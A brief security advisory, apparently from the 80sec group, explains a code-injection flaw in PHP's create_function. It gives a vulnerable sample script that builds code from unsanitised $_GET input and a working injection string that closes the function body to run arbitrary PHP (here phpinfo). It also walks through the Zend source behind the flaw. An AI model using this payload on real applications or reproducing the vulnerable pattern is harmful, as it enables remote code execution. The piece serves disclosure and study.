php create_function commond injection vulnerability

[root () 80sec com]

php use create_function function to CREATE an anonymous function like below(stolen from php_manual):

--------------------------------------------------
Description
string create_function ( string args, string code )


Creates an anonymous function from the parameters passed, and returns a unique name for it. Usually the args will be 
passed as a single quote delimited string, and this is also recommended for the code. The reason for using single 
quoted strings, is to protect the variable names from parsing, otherwise, if you use double quotes there will be a need 
to escape the variable names, e.g. \$avar.

You can use this function, to (for example) create a function from information gathered at run time: 

1. Creating an anonymous function with create_function() 

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>  
 
........

But 80sec found there is a commond injection in this function,you can EXECUTE your php code  directly but not CREATE a 
lambda-style function.It is very useful when sometimes you can create a function but cann't call your function.Check 
code below:

<?php
$sort_by=stripslashes($_GET[sort_by]);
$databases=array("test");
$sorter = 'var_dump';
$sort_function = '
            return ' . ($sort_order == 'ASC' ? 1 : -1) . ' * ' . $sorter . '($a["' . $sort_by . 
'"], $b["' . $sort_by . '"]);
        ';


usort($databases, create_function('$a, $b', $sort_function));

?>

Yes,you can create a function,but because the $databases has only one value,the function never be called,so your 
injected code cann't be executed :),but when you input like this:

test.php?sort_by="]);}phpinfo();/*

Bingo,phpinfo executed in create_function,you needn't call the function at all!

Create_function is a ZEND_FUNCTION in php,it is defined in ./Zend/zend_builtin_functions.c :

......
       eval_code = (char *) emalloc(eval_code_length);
        sprintf(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}", Z_STRVAL_PP(z_function_args), 
Z_STRVAL_PP(z_function_code));

        eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC);
        retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC);

......

It simply use zend_eval_string to do this work,which execute "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}".As you see,you 
can easily use '}' to close '}',and other codes is executed by zend_eval_string runtime :) 

From:http://www.80sec.com